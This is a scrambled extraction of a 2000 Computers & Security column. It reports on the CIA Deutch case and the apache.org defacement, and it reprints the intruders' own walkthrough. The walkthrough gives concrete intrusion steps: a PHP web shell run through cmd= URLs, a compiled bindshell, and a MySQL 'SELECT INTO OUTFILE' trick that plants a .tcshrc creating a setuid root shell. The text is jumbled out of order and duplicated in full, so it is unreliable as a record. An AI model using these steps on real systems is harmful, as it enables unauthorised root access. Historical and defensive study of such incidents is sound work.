- Email: [email protected]
Apache Site Defaced
COSEv19no4.qxd
26/05/00
12:21
Page 303
Computers & Security, Vol. 19, No. 4
In a yearlong probe that ended April 1999, the department’s criminal division concluded Deutch’s lapses were sloppy rather than criminal. It referred the case to the CIA inspector general for administrative discipline. Last August, the CIA stripped Deutch of his security clearance. After O’Neil refused to testify voluntarily, he was subpoenaed. On March 7, O’Neil invoked his right not to incriminate himself and refused to answer questions from Senate Intelligence Committee members about the Deutch case. In a written statement, O’Neil’s lawyer, Roger Spaeder, said he had advised his client not to testify while Reno reviews an earlier decision not to prosecute Deutch or others. O’Neil, who left the agency in October 1997, at first declined to turn over computer storage cards from Deutch’s computers and delayed notifying the Justice Department of the matter, according to an unclassified version of the CIA inspector general’s report. The report concluded that the actions by O’Neil and another CIA executive, “had the effect of delaying a prompt investigation of this matter.” Although Deutch’s security lapse was found in December 1996 as he was leaving the agency, the CIA did not submit a report to the Justice Department until March 1998 and did not notify congressional oversight panels until June 1998. CIA director from May 1995 to December 1996, Deutch processed thousands of highly classified documents on unprotected home computers that he and family members also used to connect the Internet, making the information potentially vulnerable to hackers, according to the CIA inspector general’s report. Deutch has apologized.
Apache Site Defaced While the rest of the world battled the ‘Love Bug’ worm, free Web-server software-provider Apache had problems of its own. Due to system-level misconfigurations of ftpd and bugzilla, a hacker was able to obtain a shell account and replace Apache’s logo of a feather and its “Powered by Apache” tagline with a Microsoft logo and credit.
“Yes, the www.apache.org site was penetrated”, said Ken Coar, a director and vice president of the Apache Software Foundation. “The penetration was through some network services that were configured with an insufficient degree of paranoia. The penetration was not through the Apache Web server software nor any of the other Apache software, but through standard network utilities found on virtually all Internet servers.” The people who penetrated the Apache.org system likely were ‘grey hats’, Coar said.The hacker spectrum runs from ‘black hats’, who would break in, do damage, and attempt to avoid tracing, to ‘white hats’, who would note the configuration problems and let the site managers know about them without taking advantage of them. “These people fall into the ‘grey area’ in between because they told us about the problems, but not until after they had utilized them to make some apparently innocuous changes”, he said. Cruciphux, publisher of the security and hacking electronic zine HWA.hax0r.news, ezine said the site was defaced around 6:37 p.m. EDT on May 3 by hackers known as ‘{}’ and ‘Hardbeat’. “{} belongs to Buffer Overflow Security, a fledgling security group consisting of ex-hackers and including people such as ‘mixter’, who wrote TFN, the DDOSdistributed attack tool recently brought to light in the media by denial-of-service attacks on major websites”, the ezine wrote. A mirror of the defaced site can be found on the Attrition.org mirror site and specific details of the break-in can be found on Apache’s site. “They came right out and admitted what had happened and said they were at fault”, said OpMan, a New York-based computer systems enthusiast, who noted that “you won’t see Microsoft taking the blame for the ILOVEYOU debacle.” “This was a classy hack”, Cruciphux said. “It ended almost like a fairy tale. Although tracks were covered and logs cleared, it was decided to alert the apache.org
303
COSEv19no4.qxd
26/05/00
12:21
Page 304
Security Views/Dr. Bill Hancock
people about the condition and a meeting between the intruders and Apache ensued. Not all defacings go
2How we defaced www.apache.org
this way, so kiddies remember: It is still very illegal and risky to do this. Be warned.”
* Before you start reading
to diff it with the previous version and read that diff file for any options of new buffer overflows, we got ourselves to ftp://ftp.apache.org. We found a mapping of the http://www.apache.org on that ftp including world writable directories.
*/
So we wrote a little wuh.php3 including
by {} and Hardbeat /*
This paper does _not_ uncover any new vulnerabilities. It points out common (and slightly less common) configuration errors, which even the people at apache.org made. This is a general warning. Learn from it. Fix your systems, so we won’t have to :)
and uploaded that to one of the world writable directories.
/*
Unsurprisingly, ‘id’ got executed when called like
/* * Our commands executed */
* introduction */ This paper describes how, over the course of a week, we succeeded in getting root access to the machine running www.apache.org, and changed the main page to show a ‘Powered by Microsoft BackOffice’ logo instead of the default ‘Powered by Apache’ logo (the feather). No other changes were made, except to prevent other (possibly malicious) people getting in. Note that the problems described in this paper are not apache-related,these were all config errors (one of ‘m straight from BugZilla’s README, but the README had enough warnings so I don’t blame the BugZilla developers). People running apache httpd do not need to start worrying because of anything uncovered herein. We hacked www.apache.org because there are a lot of servers running apache software and if www.apache.org got compromised, somebody could backdoor the apache server source and end up having lots of owned boxes. We just couldn’t allow this to happen, we secured the main ftproot==wwwroot thing. While having owned root we just couldn’t stand the urge to put that small logo on it. /* * ftproot == wwwroot * o+w dirs */ While searching for the laters apache httpserver
304
http://www.apache.org/thatdir/wuh.php3?cmd=id Next was to upload some bindshell and compile it like calling http://www.apache.org/thatdir/wuh.php3?cmd=gcc+o+httpd+httpd.c and then executing it like calling http://www.apache.org/thatdir/wuh.php3?cmd=./ httpd /* * The shell */ Ofcourse we used a bindshell that first requires ppl to authenticate with a hardcoded password (: Now we telnet to port 65533 where we binded that shell and we have local nobody access, because cgi is running as user nobody. /* * The apache.org box */ What did we find on apache.org box: -o=rx /root -o=rx homedirs apache.org is a freebsd 3.4 box. We didn’t wanted to use any buffer overflow or some lame exploit, goal was to reach root with only configuration faults. /* * Mysql */
COSEv19no4.qxd
26/05/00
12:21
Page 305
Computers & Security, Vol. 19, No. 4
After a long search we found out that mysql was running as user root and was reachable locally. Because apache.org was running bugzilla which requires a mysql account and has it username/password plaintext in the bugzilla source it was easy to get a username/passwd for the mysql database. We downloaded nportredird and have it set up to accept connections on port 23306 from our ips and redir them to localhost port 3306 so we could use our own mysql clients.
Shortly after the deface, we sent this report to one of the admins. /* * Fix that ftproot==wwwroot */ Another thing we did before the deface, was creating a file ‘ftproot’ in the wwwroot (which was also ftproot), moving ‘dist’ to ‘ftproot/dist’ and changing the ftproot to this new ‘ftproot’ dir, yielding the world-writable dirs unexploitable but allowing ftp URLs to continue working.
/* * Full mysql access * use it to create files */ Having gained access to port 3306 coming from localhost, using the login ‘bugs’ (which had full access [as in “all Y’s”]), our privs were elevated substantially. This was mostly due to sloppy reading of the BugZilla README which _does_ show a quick way to set things up (with all Y’s) but also has lots of security “don’t run mysqld as root”.
being root the deface was quickly done, but not until after a short report listing the vulnerabilities and quick fixes was build.
warnings,
including
/* * What could have been compromised? */ Remember the trojaned tcp_wrappers on ftp.win. tue.nl last year? If we wanted to, we could have done the same thing to Apache. Edit the source and have people download trojaned versions. Scary, eh?
Using ‘SELECT ... INTO OUTFILE;’ we were now able to create files anywhere, as root. These files were mode 666, and we could not overwrite anything. Still, this seemed useful.
/*
But what do you do with this ability? No use writing .rhosts files – no sane rshd will accept a world-writable .rhosts file. Besides, rshd wasn’t running on this box.
- ftproot==webroot, worldwritable dirs allowing us to upload and execute php3 scripts
/*
/*
* In short: */
- mysqld running as root, with a FULL RIGHTS login without a password.
* our /root/.tcshrc
* Compliments for the Apache admin team
*/
*/
Therefore, we decided to perform a trojan-like trick. We used database ‘test’ and created a onecolumn table with a 80char textfield. A couple of inserts and one select later, we had ourselves a /root/.tcshrc with contents similar to: #!/bin/sh cp /bin/sh /tmp/.rootsh chmod 4755 /tmp/.rootsh rm -f /root/.tcshrc /* * ROOT!! */ Quite trivial. Now the wait was for somebody to su -. Luckily, with 9 people legally having root, this didn’t take long. The rest is trivial too -
We would like to compliment the Apache admin team on their swift response when they found out about the deface, and also on their approach, even calling us ‘white hats’ (we were at the most ‘grey hats’ here, if you ask us). Regards, {} and Hardbeat. {} (mailto:[email protected]) is part of RooT66 - http://root66.nl.eu.org ShellOracle - http://www.shelloracle.cjb.net b0f - http://b0f.freebsd.lublin.pl Hardbeat ([email protected]) just has a lame page at http://www.dataloss.net/
305
26/05/00
12:21
Page 303
Computers & Security, Vol. 19, No. 4
In a yearlong probe that ended April 1999, the department’s criminal division concluded Deutch’s lapses were sloppy rather than criminal. It referred the case to the CIA inspector general for administrative discipline. Last August, the CIA stripped Deutch of his security clearance. After O’Neil refused to testify voluntarily, he was subpoenaed. On March 7, O’Neil invoked his right not to incriminate himself and refused to answer questions from Senate Intelligence Committee members about the Deutch case. In a written statement, O’Neil’s lawyer, Roger Spaeder, said he had advised his client not to testify while Reno reviews an earlier decision not to prosecute Deutch or others. O’Neil, who left the agency in October 1997, at first declined to turn over computer storage cards from Deutch’s computers and delayed notifying the Justice Department of the matter, according to an unclassified version of the CIA inspector general’s report. The report concluded that the actions by O’Neil and another CIA executive, “had the effect of delaying a prompt investigation of this matter.” Although Deutch’s security lapse was found in December 1996 as he was leaving the agency, the CIA did not submit a report to the Justice Department until March 1998 and did not notify congressional oversight panels until June 1998. CIA director from May 1995 to December 1996, Deutch processed thousands of highly classified documents on unprotected home computers that he and family members also used to connect the Internet, making the information potentially vulnerable to hackers, according to the CIA inspector general’s report. Deutch has apologized.
Apache Site Defaced While the rest of the world battled the ‘Love Bug’ worm, free Web-server software-provider Apache had problems of its own. Due to system-level misconfigurations of ftpd and bugzilla, a hacker was able to obtain a shell account and replace Apache’s logo of a feather and its “Powered by Apache” tagline with a Microsoft logo and credit.
“Yes, the www.apache.org site was penetrated”, said Ken Coar, a director and vice president of the Apache Software Foundation. “The penetration was through some network services that were configured with an insufficient degree of paranoia. The penetration was not through the Apache Web server software nor any of the other Apache software, but through standard network utilities found on virtually all Internet servers.” The people who penetrated the Apache.org system likely were ‘grey hats’, Coar said.The hacker spectrum runs from ‘black hats’, who would break in, do damage, and attempt to avoid tracing, to ‘white hats’, who would note the configuration problems and let the site managers know about them without taking advantage of them. “These people fall into the ‘grey area’ in between because they told us about the problems, but not until after they had utilized them to make some apparently innocuous changes”, he said. Cruciphux, publisher of the security and hacking electronic zine HWA.hax0r.news, ezine said the site was defaced around 6:37 p.m. EDT on May 3 by hackers known as ‘{}’ and ‘Hardbeat’. “{} belongs to Buffer Overflow Security, a fledgling security group consisting of ex-hackers and including people such as ‘mixter’, who wrote TFN, the DDOSdistributed attack tool recently brought to light in the media by denial-of-service attacks on major websites”, the ezine wrote. A mirror of the defaced site can be found on the Attrition.org mirror site and specific details of the break-in can be found on Apache’s site. “They came right out and admitted what had happened and said they were at fault”, said OpMan, a New York-based computer systems enthusiast, who noted that “you won’t see Microsoft taking the blame for the ILOVEYOU debacle.” “This was a classy hack”, Cruciphux said. “It ended almost like a fairy tale. Although tracks were covered and logs cleared, it was decided to alert the apache.org
303
COSEv19no4.qxd
26/05/00
12:21
Page 304
Security Views/Dr. Bill Hancock
people about the condition and a meeting between the intruders and Apache ensued. Not all defacings go
2How we defaced www.apache.org
this way, so kiddies remember: It is still very illegal and risky to do this. Be warned.”
* Before you start reading
to diff it with the previous version and read that diff file for any options of new buffer overflows, we got ourselves to ftp://ftp.apache.org. We found a mapping of the http://www.apache.org on that ftp including world writable directories.
*/
So we wrote a little wuh.php3 including
by {} and Hardbeat /*
This paper does _not_ uncover any new vulnerabilities. It points out common (and slightly less common) configuration errors, which even the people at apache.org made. This is a general warning. Learn from it. Fix your systems, so we won’t have to :)
and uploaded that to one of the world writable directories.
/*
Unsurprisingly, ‘id’ got executed when called like
/* * Our commands executed */
* introduction */ This paper describes how, over the course of a week, we succeeded in getting root access to the machine running www.apache.org, and changed the main page to show a ‘Powered by Microsoft BackOffice’ logo instead of the default ‘Powered by Apache’ logo (the feather). No other changes were made, except to prevent other (possibly malicious) people getting in. Note that the problems described in this paper are not apache-related,these were all config errors (one of ‘m straight from BugZilla’s README, but the README had enough warnings so I don’t blame the BugZilla developers). People running apache httpd do not need to start worrying because of anything uncovered herein. We hacked www.apache.org because there are a lot of servers running apache software and if www.apache.org got compromised, somebody could backdoor the apache server source and end up having lots of owned boxes. We just couldn’t allow this to happen, we secured the main ftproot==wwwroot thing. While having owned root we just couldn’t stand the urge to put that small logo on it. /* * ftproot == wwwroot * o+w dirs */ While searching for the laters apache httpserver
304
http://www.apache.org/thatdir/wuh.php3?cmd=id Next was to upload some bindshell and compile it like calling http://www.apache.org/thatdir/wuh.php3?cmd=gcc+o+httpd+httpd.c and then executing it like calling http://www.apache.org/thatdir/wuh.php3?cmd=./ httpd /* * The shell */ Ofcourse we used a bindshell that first requires ppl to authenticate with a hardcoded password (: Now we telnet to port 65533 where we binded that shell and we have local nobody access, because cgi is running as user nobody. /* * The apache.org box */ What did we find on apache.org box: -o=rx /root -o=rx homedirs apache.org is a freebsd 3.4 box. We didn’t wanted to use any buffer overflow or some lame exploit, goal was to reach root with only configuration faults. /* * Mysql */
COSEv19no4.qxd
26/05/00
12:21
Page 305
Computers & Security, Vol. 19, No. 4
After a long search we found out that mysql was running as user root and was reachable locally. Because apache.org was running bugzilla which requires a mysql account and has it username/password plaintext in the bugzilla source it was easy to get a username/passwd for the mysql database. We downloaded nportredird and have it set up to accept connections on port 23306 from our ips and redir them to localhost port 3306 so we could use our own mysql clients.
Shortly after the deface, we sent this report to one of the admins. /* * Fix that ftproot==wwwroot */ Another thing we did before the deface, was creating a file ‘ftproot’ in the wwwroot (which was also ftproot), moving ‘dist’ to ‘ftproot/dist’ and changing the ftproot to this new ‘ftproot’ dir, yielding the world-writable dirs unexploitable but allowing ftp URLs to continue working.
/* * Full mysql access * use it to create files */ Having gained access to port 3306 coming from localhost, using the login ‘bugs’ (which had full access [as in “all Y’s”]), our privs were elevated substantially. This was mostly due to sloppy reading of the BugZilla README which _does_ show a quick way to set things up (with all Y’s) but also has lots of security “don’t run mysqld as root”.
being root the deface was quickly done, but not until after a short report listing the vulnerabilities and quick fixes was build.
warnings,
including
/* * What could have been compromised? */ Remember the trojaned tcp_wrappers on ftp.win. tue.nl last year? If we wanted to, we could have done the same thing to Apache. Edit the source and have people download trojaned versions. Scary, eh?
Using ‘SELECT ... INTO OUTFILE;’ we were now able to create files anywhere, as root. These files were mode 666, and we could not overwrite anything. Still, this seemed useful.
/*
But what do you do with this ability? No use writing .rhosts files – no sane rshd will accept a world-writable .rhosts file. Besides, rshd wasn’t running on this box.
- ftproot==webroot, worldwritable dirs allowing us to upload and execute php3 scripts
/*
/*
* In short: */
- mysqld running as root, with a FULL RIGHTS login without a password.
* our /root/.tcshrc
* Compliments for the Apache admin team
*/
*/
Therefore, we decided to perform a trojan-like trick. We used database ‘test’ and created a onecolumn table with a 80char textfield. A couple of inserts and one select later, we had ourselves a /root/.tcshrc with contents similar to: #!/bin/sh cp /bin/sh /tmp/.rootsh chmod 4755 /tmp/.rootsh rm -f /root/.tcshrc /* * ROOT!! */ Quite trivial. Now the wait was for somebody to su -. Luckily, with 9 people legally having root, this didn’t take long. The rest is trivial too -
We would like to compliment the Apache admin team on their swift response when they found out about the deface, and also on their approach, even calling us ‘white hats’ (we were at the most ‘grey hats’ here, if you ask us). Regards, {} and Hardbeat. {} (mailto:[email protected]) is part of RooT66 - http://root66.nl.eu.org ShellOracle - http://www.shelloracle.cjb.net b0f - http://b0f.freebsd.lublin.pl Hardbeat ([email protected]) just has a lame page at http://www.dataloss.net/
305